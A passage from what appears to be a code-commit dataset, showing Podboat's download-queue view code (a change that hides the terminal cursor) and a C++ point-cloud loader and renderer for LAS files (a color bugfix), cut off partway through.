1024)));\n\tfmt.register_fmt('p', strprintf::fmt(\"%.1f\", dl.percents_finished()));\n\tfmt.register_fmt('k', strprintf::fmt(\"%.2f\", speed_kbps));\n\tfmt.register_fmt('K', strprintf::fmt(\"%.2f %s\", speed.first, speed.second));\n\tfmt.register_fmt('S', strprintf::fmt(\"%s\", dl.status_text()));\n\tfmt.register_fmt('u', strprintf::fmt(\"%s\", dl.url()));\n\tfmt.register_fmt('F', strprintf::fmt(\"%s\", dl.filename()));\n\tfmt.register_fmt('b', strprintf::fmt(\"%s\", dl.basename()));\n\n\tauto formattedLine = fmt.do_format(podlist_format, width);\n\treturn formattedLine;\n}\n\n} \/\/ namespace podboat\n<commit_msg>Podboat: Hide cursor<commit_after>#include \"pbview.h\"\n\n#include <cinttypes>\n#include <cstdio>\n#include <cstring>\n#include <curses.h>\n#include <iostream>\n#include <sstream>\n\n#include \"config.h\"\n#include \"configcontainer.h\"\n#include \"dllist.h\"\n#include \"download.h\"\n#include \"fmtstrformatter.h\"\n#include \"help.h\"\n#include \"logger.h\"\n#include \"pbcontroller.h\"\n#include \"poddlthread.h\"\n#include \"strprintf.h\"\n#include \"utils.h\"\n\nusing namespace newsboat;\n\nnamespace podboat {\n\nPbView::PbView(PbController* c)\n\t: ctrl(c)\n\t, dllist_form(dllist_str)\n\t, help_form(help_str)\n\t, keys(0)\n{\n\tif (getenv(\"ESCDELAY\") == nullptr) {\n\t\tset_escdelay(25);\n\t}\n}\n\nPbView::~PbView()\n{\n\tStfl::reset();\n}\n\nvoid PbView::run(bool auto_download)\n{\n\tbool quit = false;\n\n\t\/\/ Make sure curses is initialized\n\tdllist_form.run(-3);\n\t\/\/ Hide cursor using curses\n\tcurs_set(0);\n\n\tset_dllist_keymap_hint();\n\n\tdo {\n\t\tif (ctrl->view_update_necessary()) {\n\t\t\tconst double total_kbps = ctrl->get_total_kbps();\n\t\t\tconst auto speed = get_speed_human_readable(total_kbps);\n\n\t\t\tchar parbuf[128] = \"\";\n\t\t\tif (ctrl->get_maxdownloads() > 1) {\n\t\t\t\tsnprintf(parbuf,\n\t\t\t\t\tsizeof(parbuf),\n\t\t\t\t\t_(\" - %u parallel downloads\"),\n\t\t\t\t\tctrl->get_maxdownloads());\n\t\t\t}\n\n\t\t\tchar buf[1024];\n\t\t\tsnprintf(buf,\n\t\t\t\tsizeof(buf),\n\t\t\t\t_(\"Queue (%u downloads in progress, %u total) \"\n\t\t\t\t\t\"- %.2f %s total%s\"),\n\t\t\t\tstatic_cast<unsigned int>(\n\t\t\t\t\tctrl->downloads_in_progress()),\n\t\t\t\tstatic_cast<unsigned int>(\n\t\t\t\t\tctrl->downloads().size()),\n\t\t\t\tspeed.first,\n\t\t\t\tspeed.second.c_str(),\n\t\t\t\tparbuf);\n\n\t\t\tdllist_form.set(\"head\", buf);\n\n\t\t\tLOG(Level::DEBUG,\n\t\t\t\t\"PbView::run: updating view... \"\n\t\t\t\t\"downloads().size() \"\n\t\t\t\t\"= %\" PRIu64,\n\t\t\t\tstatic_cast<uint64_t>(ctrl->downloads().size()));\n\n\t\t\tstd::string code = \"{list\";\n\t\t\tstd::string formatstring = ctrl->get_formatstr();\n\n\t\t\tdllist_form.run(-3); \/\/ compute all widget dimensions\n\t\t\tunsigned int width = utils::to_u(dllist_form.get(\"dls:w\"));\n\n\t\t\tunsigned int i = 0;\n\t\t\tfor (const auto& dl : ctrl->downloads()) {\n\t\t\t\tauto lbuf = format_line(formatstring, dl, i, width);\n\t\t\t\tcode.append(\n\t\t\t\t\tstrprintf::fmt(\"{listitem[%u] text:%s}\",\n\t\t\t\t\t\ti,\n\t\t\t\t\t\tStfl::quote(lbuf)));\n\t\t\t\ti++;\n\t\t\t}\n\n\t\t\tcode.append(\"}\");\n\n\t\t\tdllist_form.modify(\"dls\", \"replace_inner\", code);\n\n\t\t\tctrl->set_view_update_necessary(false);\n\t\t}\n\n\t\tconst char* event = dllist_form.run(500);\n\n\t\tif (auto_download) {\n\t\t\tif (ctrl->get_maxdownloads() >\n\t\t\t\tctrl->downloads_in_progress()) {\n\t\t\t\tctrl->start_downloads();\n\t\t\t}\n\t\t}\n\n\t\tif (!event || strcmp(event, \"TIMEOUT\") == 0) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tOperation op = keys->get_operation(event, \"podbeuter\");\n\n\t\tif (dllist_form.get(\"msg\").length() > 0) {\n\t\t\tdllist_form.set(\"msg\", \"\");\n\t\t\tctrl->set_view_update_necessary(true);\n\t\t}\n\n\t\tswitch (op) {\n\t\tcase OP_PB_TOGGLE_DLALL:\n\t\t\tauto_download = !auto_download;\n\t\t\tbreak;\n\t\tcase OP_HARDQUIT:\n\t\tcase OP_QUIT:\n\t\t\tif (ctrl->downloads_in_progress() > 0) {\n\t\t\t\tdllist_form.set(\"msg\",\n\t\t\t\t\t_(\"Error: can't quit: download(s) in \"\n\t\t\t\t\t\t\"progress.\"));\n\t\t\t\tctrl->set_view_update_necessary(true);\n\t\t\t} else {\n\t\t\t\tquit = true;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase OP_PB_MOREDL:\n\t\t\tctrl->increase_parallel_downloads();\n\t\t\tbreak;\n\t\tcase OP_PB_LESSDL:\n\t\t\tctrl->decrease_parallel_downloads();\n\t\t\tbreak;\n\t\tcase OP_PB_DOWNLOAD: {\n\t\t\tstd::istringstream os(dllist_form.get(\"dlposname\"));\n\t\t\tint idx = -1;\n\t\t\tos >> idx;\n\t\t\tif (idx != -1) {\n\t\t\t\tif (ctrl->downloads()[idx].status() !=\n\t\t\t\t\tDlStatus::DOWNLOADING) {\n\t\t\t\t\tstd::thread t{PodDlThread(\n\t\t\t\t\t\t\t&ctrl->downloads()[idx],\n\t\t\t\t\t\t\tctrl->get_cfgcont())};\n\t\t\t\t\tt.detach();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase OP_PB_PLAY: {\n\t\t\tstd::istringstream os(dllist_form.get(\"dlposname\"));\n\t\t\tint idx = -1;\n\t\t\tos >> idx;\n\t\t\tif (idx != -1) {\n\t\t\t\tDlStatus status =\n\t\t\t\t\tctrl->downloads()[idx].status();\n\t\t\t\tif (status == DlStatus::FINISHED ||\n\t\t\t\t\tstatus == DlStatus::PLAYED ||\n\t\t\t\t\tstatus == DlStatus::READY) {\n\t\t\t\t\tctrl->play_file(ctrl->downloads()[idx]\n\t\t\t\t\t\t.filename());\n\t\t\t\t\tctrl->downloads()[idx].set_status(\n\t\t\t\t\t\tDlStatus::PLAYED);\n\t\t\t\t} else {\n\t\t\t\t\tdllist_form.set(\"msg\",\n\t\t\t\t\t\t_(\"Error: download needs to be \"\n\t\t\t\t\t\t\t\"finished before the file \"\n\t\t\t\t\t\t\t\"can be played.\"));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase OP_PB_MARK_FINISHED: {\n\t\t\tstd::istringstream os(dllist_form.get(\"dlposname\"));\n\t\t\tint idx = -1;\n\t\t\tos >> idx;\n\t\t\tif (idx != -1) {\n\t\t\t\tDlStatus status =\n\t\t\t\t\tctrl->downloads()[idx].status();\n\t\t\t\tif (status == DlStatus::PLAYED) {\n\t\t\t\t\tctrl->downloads()[idx].set_status(\n\t\t\t\t\t\tDlStatus::FINISHED);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase OP_PB_CANCEL: {\n\t\t\tstd::istringstream os(dllist_form.get(\"dlposname\"));\n\t\t\tint idx = -1;\n\t\t\tos >> idx;\n\t\t\tif (idx != -1) {\n\t\t\t\tif (ctrl->downloads()[idx].status() ==\n\t\t\t\t\tDlStatus::DOWNLOADING) {\n\t\t\t\t\tctrl->downloads()[idx].set_status(\n\t\t\t\t\t\tDlStatus::CANCELLED);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase OP_PB_DELETE: {\n\t\t\tstd::istringstream os(dllist_form.get(\"dlposname\"));\n\t\t\tint idx = -1;\n\t\t\tos >> idx;\n\t\t\tif (idx != -1) {\n\t\t\t\tif (ctrl->downloads()[idx].status() !=\n\t\t\t\t\tDlStatus::DOWNLOADING) {\n\t\t\t\t\tctrl->downloads()[idx].set_status(\n\t\t\t\t\t\tDlStatus::DELETED);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase OP_PB_PURGE:\n\t\t\tif (ctrl->downloads_in_progress() > 0) {\n\t\t\t\tdllist_form.set(\"msg\",\n\t\t\t\t\t_(\"Error: unable to perform operation: \"\n\t\t\t\t\t\t\"download(s) in progress.\"));\n\t\t\t} else {\n\t\t\t\tctrl->purge_queue();\n\t\t\t}\n\t\t\tctrl->set_view_update_necessary(true);\n\t\t\tbreak;\n\t\tcase OP_HELP:\n\t\t\trun_help();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\t} while (!quit);\n}\n\nvoid PbView::set_bindings()\n{\n\tif (keys) {\n\t\tstd::string upkey(\"** \");\n\t\tupkey.append(keys->getkey(OP_SK_UP, \"podbeuter\"));\n\t\tstd::string downkey(\"** \");\n\t\tdownkey.append(keys->getkey(OP_SK_DOWN, \"podbeuter\"));\n\t\tstd::string pgupkey(\"** \");\n\t\tpgupkey.append(keys->getkey(OP_SK_PGUP, \"podbeuter\"));\n\t\tstd::string pgdownkey(\"** \");\n\t\tpgdownkey.append(keys->getkey(OP_SK_PGDOWN, \"podbeuter\"));\n\t\tstd::string homekey(\"** \");\n\t\thomekey.append(keys->getkey(OP_SK_HOME, \"podbeuter\"));\n\t\tstd::string endkey(\"** \");\n\t\tendkey.append(keys->getkey(OP_SK_END, \"podbeuter\"));\n\n\t\tdllist_form.set(\"bind_up\", upkey);\n\t\tdllist_form.set(\"bind_down\", downkey);\n\t\tdllist_form.set(\"bind_page_up\", pgupkey);\n\t\tdllist_form.set(\"bind_page_down\", pgdownkey);\n\t\tdllist_form.set(\"bind_home\", homekey);\n\t\tdllist_form.set(\"bind_end\", endkey);\n\n\t\thelp_form.set(\"bind_up\", upkey);\n\t\thelp_form.set(\"bind_down\", downkey);\n\t\thelp_form.set(\"bind_page_up\", pgupkey);\n\t\thelp_form.set(\"bind_page_down\", pgdownkey);\n\t\thelp_form.set(\"bind_home\", homekey);\n\t\thelp_form.set(\"bind_end\", endkey);\n\t}\n}\n\nstd::pair<double, std::string> PbView::get_speed_human_readable(double kbps)\n{\n\tif (kbps < 1024) {\n\t\treturn std::make_pair(kbps, _(\"KB\/s\"));\n\t} else if (kbps < 1024 * 1024) {\n\t\treturn std::make_pair(kbps \/ 1024, _(\"MB\/s\"));\n\t} else {\n\t\treturn std::make_pair(kbps \/ 1024 \/ 1024, _(\"GB\/s\"));\n\t}\n}\n\nvoid PbView::run_help()\n{\n\tset_help_keymap_hint();\n\n\thelp_form.set(\"head\", _(\"Help\"));\n\n\tstd::vector<KeyMapDesc> descs;\n\tkeys->get_keymap_descriptions(descs, KM_PODBOAT);\n\n\tstd::string code = \"{list\";\n\n\tfor (const auto& desc : descs) {\n\t\tstd::string line = \"{listitem text:\";\n\n\t\tstd::string descline;\n\t\tdescline.append(desc.key);\n\t\tdescline.append(8 - desc.key.length(), ' ');\n\t\tdescline.append(desc.cmd);\n\t\tdescline.append(24 - desc.cmd.length(), ' ');\n\t\tdescline.append(desc.desc);\n\t\tline.append(Stfl::quote(descline));\n\n\t\tline.append(\"}\");\n\n\t\tcode.append(line);\n\t}\n\n\tcode.append(\"}\");\n\n\thelp_form.modify(\"helptext\", \"replace_inner\", code);\n\n\tbool quit = false;\n\n\tdo {\n\t\tconst char* event = help_form.run(0);\n\t\tif (!event) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tOperation op = keys->get_operation(event, \"help\");\n\n\t\tswitch (op) {\n\t\tcase OP_HARDQUIT:\n\t\tcase OP_QUIT:\n\t\t\tquit = true;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t} while (!quit);\n}\n\nstd::string PbView::prepare_keymaphint(KeyMapHintEntry* hints)\n{\n\tstd::string keymap_hint;\n\tfor (int i = 0; hints[i].op != OP_NIL; ++i) {\n\t\tkeymap_hint.append(keys->getkey(hints[i].op, \"podbeuter\"));\n\t\tkeymap_hint.append(\":\");\n\t\tkeymap_hint.append(hints[i].text);\n\t\tkeymap_hint.append(\" \");\n\t}\n\treturn keymap_hint;\n}\n\nvoid PbView::set_help_keymap_hint()\n{\n\tKeyMapHintEntry hints[] = {{OP_QUIT, _(\"Quit\")}, {OP_NIL, nullptr}};\n\tstd::string keymap_hint = prepare_keymaphint(hints);\n\thelp_form.set(\"help\", keymap_hint);\n}\n\nvoid PbView::set_dllist_keymap_hint()\n{\n\tKeyMapHintEntry hints[] = {{OP_QUIT, _(\"Quit\")},\n\t\t{OP_PB_DOWNLOAD, _(\"Download\")},\n\t\t{OP_PB_CANCEL, _(\"Cancel\")},\n\t\t{OP_PB_DELETE, _(\"Delete\")},\n\t\t{OP_PB_PURGE, _(\"Purge Finished\")},\n\t\t{OP_PB_TOGGLE_DLALL, _(\"Toggle Automatic Download\")},\n\t\t{OP_PB_PLAY, _(\"Play\")},\n\t\t{OP_PB_MARK_FINISHED, _(\"Mark as Finished\")},\n\t\t{OP_HELP, _(\"Help\")},\n\t\t{OP_NIL, nullptr}\n\t};\n\n\tstd::string keymap_hint = prepare_keymaphint(hints);\n\tdllist_form.set(\"help\", keymap_hint);\n}\n\nstd::string PbView::format_line(const std::string& podlist_format,\n\tconst Download& dl,\n\tunsigned int pos,\n\tunsigned int width)\n{\n\tFmtStrFormatter fmt;\n\n\tconst double speed_kbps = dl.kbps();\n\tconst auto speed = get_speed_human_readable(speed_kbps);\n\n\tfmt.register_fmt('i', strprintf::fmt(\"%u\", pos + 1));\n\tfmt.register_fmt('d',\n\t\tstrprintf::fmt(\"%.1f\", dl.current_size() \/ (1024 * 1024)));\n\tfmt.register_fmt(\n\t\t't', strprintf::fmt(\"%.1f\", dl.total_size() \/ (1024 * 1024)));\n\tfmt.register_fmt('p', strprintf::fmt(\"%.1f\", dl.percents_finished()));\n\tfmt.register_fmt('k', strprintf::fmt(\"%.2f\", speed_kbps));\n\tfmt.register_fmt('K', strprintf::fmt(\"%.2f %s\", speed.first, speed.second));\n\tfmt.register_fmt('S', strprintf::fmt(\"%s\", dl.status_text()));\n\tfmt.register_fmt('u', strprintf::fmt(\"%s\", dl.url()));\n\tfmt.register_fmt('F', strprintf::fmt(\"%s\", dl.filename()));\n\tfmt.register_fmt('b', strprintf::fmt(\"%s\", dl.basename()));\n\n\tauto formattedLine = fmt.do_format(podlist_format, width);\n\treturn formattedLine;\n}\n\n} \/\/ namespace podboat\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (C) 2012, Chris J. Foster and the other authors and contributors\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright notice,\n\/\/ this list of conditions and the following disclaimer in the documentation\n\/\/ and\/or other materials provided with the distribution.\n\/\/ * Neither the name of the software's owners nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from this\n\/\/ software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/ (This is the BSD 3-clause license)\n\n#include \"pointarray.h\"\n\n#include <QtGui\/QMessageBox>\n#include <QtOpenGL\/QGLShaderProgram>\n\n#include <unordered_map>\n\n#include \"tinyformat.h\"\n\n#ifdef _MSC_VER\n# pragma warning(push)\n# pragma warning(disable : 4996)\n# pragma warning(disable : 4267)\n#elif __GNUC__\n# pragma GCC diagnostic push\n# pragma GCC diagnostic ignored \"-Wstrict-aliasing\"\n# pragma GCC diagnostic ignored \"-Wunused-but-set-variable\"\n#endif\n\/\/ Note... laslib generates a small horde of warnings\n#include <lasreader.hpp>\n#ifdef _MSC_VER\n# pragma warning(push)\n#elif __GNUC__\n# pragma GCC diagnostic pop\n\/\/ Hack: kill gcc unused variable warning\nclass MonkeyChops { MonkeyChops() { (void)LAS_TOOLS_FORMAT_NAMES; } };\n#endif\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ Hashing of std::pair, copied from stack overflow\ntemplate <class T>\ninline void hash_combine(std::size_t & seed, const T & v)\n{\n std::hash<T> hasher;\n seed ^= hasher(v) + 0x9e3779b9 + (seed << 6) + (seed >> 2);\n}\n\nnamespace std\n{\n template<typename S, typename T> struct hash<pair<S, T>>\n {\n inline size_t operator()(const pair<S, T> & v) const\n {\n size_t seed = 0;\n ::hash_combine(seed, v.first);\n ::hash_combine(seed, v.second);\n return seed;\n }\n };\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ PointArray implementation\n\nPointArray::PointArray()\n : m_fileName(),\n m_npoints(0),\n m_bucketWidth(100),\n m_offset(0),\n m_bbox(),\n m_centroid(0),\n m_buckets()\n{ }\n\nPointArray::~PointArray()\n{ }\n\nstruct PointArray::Bucket\n{\n V3f centroid;\n size_t beginIndex;\n size_t endIndex;\n\n Bucket(V3f centroid, size_t beginIndex, size_t endIndex)\n : centroid(centroid),\n beginIndex(beginIndex),\n endIndex(endIndex)\n { }\n};\n\n\ntemplate<typename T>\nvoid reorderArray(std::unique_ptr<T[]>& data, const size_t* inds, size_t size)\n{\n if (!data)\n return;\n std::unique_ptr<T[]> tmpData(new T[size]);\n for (size_t i = 0; i < size; ++i)\n tmpData[i] = data[inds[i]];\n data.swap(tmpData);\n}\n\n\nbool PointArray::loadPointFile(QString fileName, size_t maxPointCount)\n{\n m_fileName = fileName;\n LASreadOpener lasReadOpener;\n#ifdef _WIN32\n \/\/ Hack: liblas doesn't like forward slashes as path separators on windows\n fileName = fileName.replace('\/', '\\\\');\n#endif\n lasReadOpener.set_file_name(fileName.toAscii().constData());\n std::unique_ptr<LASreader> lasReader(lasReadOpener.open());\n\n if(!lasReader)\n {\n QMessageBox::critical(0, tr(\"Error\"),\n tr(\"Couldn't open file \\\"%1\\\"\").arg(fileName));\n return false;\n }\n\n emit loadStepStarted(\"Reading file\");\n \/\/ Figure out how much to decimate the point cloud.\n size_t totPoints = lasReader->header.number_of_point_records;\n size_t decimate = (totPoints + maxPointCount - 1) \/ maxPointCount;\n if(decimate > 1)\n tfm::printf(\"Decimating \\\"%s\\\" by factor of %d\\n\", fileName.toStdString(), decimate);\n m_npoints = (totPoints + decimate - 1) \/ decimate;\n m_offset = V3d(lasReader->header.min_x, lasReader->header.min_y,\n lasReader->header.min_z);\n m_P.reset(new V3f[m_npoints]);\n m_intensity.reset(new float[m_npoints]);\n m_returnIndex.reset(new unsigned char[m_npoints]);\n m_numberOfReturns.reset(new unsigned char[m_npoints]);\n m_pointSourceId.reset(new unsigned char[m_npoints]);\n m_bbox.makeEmpty();\n \/\/ Iterate over all points & pull in the data.\n V3f* outP = m_P.get();\n float* outIntens = m_intensity.get();\n unsigned char* returnIndex = m_returnIndex.get();\n unsigned char* numReturns = m_numberOfReturns.get();\n unsigned char* pointSourceId = m_pointSourceId.get();\n size_t readCount = 0;\n size_t nextBlock = 1;\n size_t nextStore = 1;\n V3d Psum(0);\n if (!lasReader->read_point())\n return false;\n const LASpoint& point = lasReader->point;\n if (point.have_rgb)\n m_color.reset(new C3f[m_npoints]);\n V3f* outCol = m_color.get();\n do\n {\n \/\/ Read a point from the las file\n ++readCount;\n if(readCount % 10000 == 0)\n emit pointsLoaded(100*readCount\/totPoints);\n V3d P = V3d(point.get_x(), point.get_y(), point.get_z());\n m_bbox.extendBy(P);\n Psum += P;\n if(readCount < nextStore)\n continue;\n \/\/ Store the point\n *outP++ = P - m_offset;\n \/\/ float intens = float(point.scan_angle_rank) \/ 40;\n *outIntens++ = point.intensity;\n *returnIndex++ = point.return_number;\n *numReturns++ = point.number_of_returns_of_given_pulse;\n *pointSourceId++ = point.point_source_ID;\n \/\/ Extract point RGB\n if (outCol)\n *outCol++ = (1.0f\/USHRT_MAX) * C3f(point.rgb[0], point.rgb[1], point.rgb[2]);\n \/\/ Figure out which point will be the next stored point.\n nextBlock += decimate;\n nextStore = nextBlock;\n if(decimate > 1)\n {\n \/\/ Randomize selected point within block to avoid repeated patterns\n nextStore += (qrand() % decimate);\n if(nextBlock <= totPoints && nextStore > totPoints)\n nextStore = totPoints;\n }\n }\n while(lasReader->read_point());\n emit pointsLoaded(100);\n m_centroid = (1.0\/totPoints) * Psum;\n lasReader->close();\n tfm::printf(\"Displaying %d of %d points from file %s\\n\", m_npoints,\n totPoints, fileName.toStdString());\n\n emit loadStepStarted(\"Bucketing points\");\n typedef std::unordered_map<std::pair<int,int>, std::vector<size_t> > IndexMap;\n float invBucketSize = 1\/m_bucketWidth;\n IndexMap buckets;\n for (size_t i = 0; i < m_npoints; ++i)\n {\n int x = (int)floor(m_P[i].x*invBucketSize);\n int y = (int)floor(m_P[i].y*invBucketSize);\n buckets[std::make_pair(x,y)].push_back(i);\n if(i % 100000 == 0)\n emit pointsLoaded(100*i\/m_npoints);\n }\n\n \/\/emit loadStepStarted(\"Shuffling buckets\");\n std::unique_ptr<size_t[]> inds(new size_t[m_npoints]);\n size_t idx = 0;\n m_buckets.clear();\n m_buckets.reserve(buckets.size() + 1);\n for (IndexMap::iterator b = buckets.begin(); b != buckets.end(); ++b)\n {\n size_t startIdx = idx;\n std::vector<size_t>& bucketInds = b->second;\n V3f centroid(0);\n \/\/ Random shuffle so that choosing an initial sequence will correspond\n \/\/ to a stochastic simplification of the bucket. TODO: Use a\n \/\/ quasirandom shuffling method for better visual properties.\n std::random_shuffle(bucketInds.begin(), bucketInds.end());\n for (size_t i = 0, iend = bucketInds.size(); i < iend; ++i, ++idx)\n {\n inds[idx] = bucketInds[i];\n centroid += m_P[inds[idx]];\n }\n centroid *= 1.0f\/(idx - startIdx);\n m_buckets.push_back(Bucket(centroid, startIdx, idx));\n }\n reorderArray(m_P, inds.get(), m_npoints);\n reorderArray(m_color, inds.get(), m_npoints);\n reorderArray(m_intensity, inds.get(), m_npoints);\n reorderArray(m_returnIndex, inds.get(), m_npoints);\n reorderArray(m_numberOfReturns, inds.get(), m_npoints);\n reorderArray(m_pointSourceId, inds.get(), m_npoints);\n return true;\n}\n\n\nsize_t PointArray::closestPoint(V3d pos, V3f N,\n double normalDirectionScale,\n double* distance) const\n{\n pos -= m_offset;\n N.normalize();\n const V3f* P = m_P.get();\n size_t nearestIdx = -1;\n double nearestDist2 = DBL_MAX;\n double f = normalDirectionScale*normalDirectionScale;\n for(size_t i = 0; i < m_npoints; ++i, ++P)\n {\n V3f v = pos - *P;\n float distN = N.dot(v);\n float distNperp = (v - distN*N).length2();\n float d = f*distN*distN + distNperp;\n \/\/float d = (pos - *P).length2();\n if(d < nearestDist2)\n {\n nearestDist2 = d;\n nearestIdx = i;\n }\n }\n if(distance)\n *distance = sqrt(nearestDist2);\n return nearestIdx;\n}\n\n\nvoid PointArray::draw(QGLShaderProgram& prog, const V3d& cameraPos,\n double quality) const\n{\n prog.enableAttributeArray(\"position\");\n prog.enableAttributeArray(\"intensity\");\n prog.enableAttributeArray(\"returnIndex\");\n prog.enableAttributeArray(\"numberOfReturns\");\n prog.enableAttributeArray(\"pointSourceId\");\n if (m_color)\n prog.enableAttributeArray(\"color\");\n\n \/\/ Draw points in each bucket, with total number drawn depending on how far\n \/\/ away the bucket is. Since the points are shuffled, this corresponds to\n \/\/ a stochastic simplification of the full point cloud.\n size_t totDraw = 0;\n for (size_t bucketIdx = 0; bucketIdx < m_buckets.size(); ++bucketIdx)\n {\n const Bucket& bucket = m_buckets[bucketIdx];\n size_t b = bucket.beginIndex;\n prog.setAttributeArray(\"position\", (const GLfloat*)(m_P.get() + b), 3);\n prog.setAttributeArray(\"intensity\", m_intensity.get() + b, 1);\n prog.setAttributeArray(\"returnIndex\", GL_UNSIGNED_BYTE, m_returnIndex.get() + b, 1);\n prog.setAttributeArray(\"numberOfReturns\", GL_UNSIGNED_BYTE, m_numberOfReturns.get() + b, 1);\n prog.setAttributeArray(\"pointSourceId\", GL_UNSIGNED_BYTE, m_pointSourceId.get() + b, 1);\n if (m_color)\n prog.setAttributeArray(\"color\", (const GLfloat*)(m_color.get() + b), 3);\n \/\/ Compute the desired fraction of points for this bucket.\n \/\/\n \/\/ The desired fraction is chosen to keep linear density constant -\n \/\/ this looks better than keeping the density per area constant.\n float dist = (bucket.centroid + m_offset - cameraPos).length();\n double desiredFraction = quality <= 0 ? 1 : quality * (m_bucketWidth) \/ (dist);\n size_t ndraw = bucket.endIndex - bucket.beginIndex;\n float lodMultiplier = 1;\n if (desiredFraction < 1)\n {\n ndraw = (size_t) (ndraw*desiredFraction);\n lodMultiplier = (float)(1\/desiredFraction);\n }\n prog.setUniformValue(\"pointSizeLodMultiplier\", lodMultiplier);\n glDrawArrays(GL_POINTS, 0, ndraw);\n totDraw += ndraw;\n }\n \/\/tfm::printf(\"Drew %.2f%% of total points\\n\", double(totDraw)\/m_npoints);\n}\n\n\n<commit_msg>Bugfix: Set color to something sensible if not present<commit_after>\/\/ Copyright (C) 2012, Chris J. Foster and the other authors and contributors\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright notice,\n\/\/ this list of conditions and the following disclaimer in the documentation\n\/\/ and\/or other materials provided with the distribution.\n\/\/ * Neither the name of the software's owners nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from this\n\/\/ software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/ (This is the BSD 3-clause license)\n\n#include \"pointarray.h\"\n\n#include <QtGui\/QMessageBox>\n#include <QtOpenGL\/QGLShaderProgram>\n\n#include <unordered_map>\n\n#include \"tinyformat.h\"\n\n#ifdef _MSC_VER\n# pragma warning(push)\n# pragma warning(disable : 4996)\n# pragma warning(disable : 4267)\n#elif __GNUC__\n# pragma GCC diagnostic push\n# pragma GCC diagnostic ignored \"-Wstrict-aliasing\"\n# pragma GCC diagnostic ignored \"-Wunused-but-set-variable\"\n#endif\n\/\/ Note... laslib generates a small horde of warnings\n#include <lasreader.hpp>\n#ifdef _MSC_VER\n# pragma warning(push)\n#elif __GNUC__\n# pragma GCC diagnostic pop\n\/\/ Hack: kill gcc unused variable warning\nclass MonkeyChops { MonkeyChops() { (void)LAS_TOOLS_FORMAT_NAMES; } };\n#endif\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ Hashing of std::pair, copied from stack overflow\ntemplate <class T>\ninline void hash_combine(std::size_t & seed, const T & v)\n{\n std::hash<T> hasher;\n seed ^= hasher(v) + 0x9e3779b9 + (seed << 6) + (seed >> 2);\n}\n\nnamespace std\n{\n template<typename S, typename T> struct hash<pair<S, T>>\n {\n inline size_t operator()(const pair<S, T> & v) const\n {\n size_t seed = 0;\n ::hash_combine(seed, v.first);\n ::hash_combine(seed, v.second);\n return seed;\n }\n };\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ PointArray implementation\n\nPointArray::PointArray()\n : m_fileName(),\n m_npoints(0),\n m_bucketWidth(100),\n 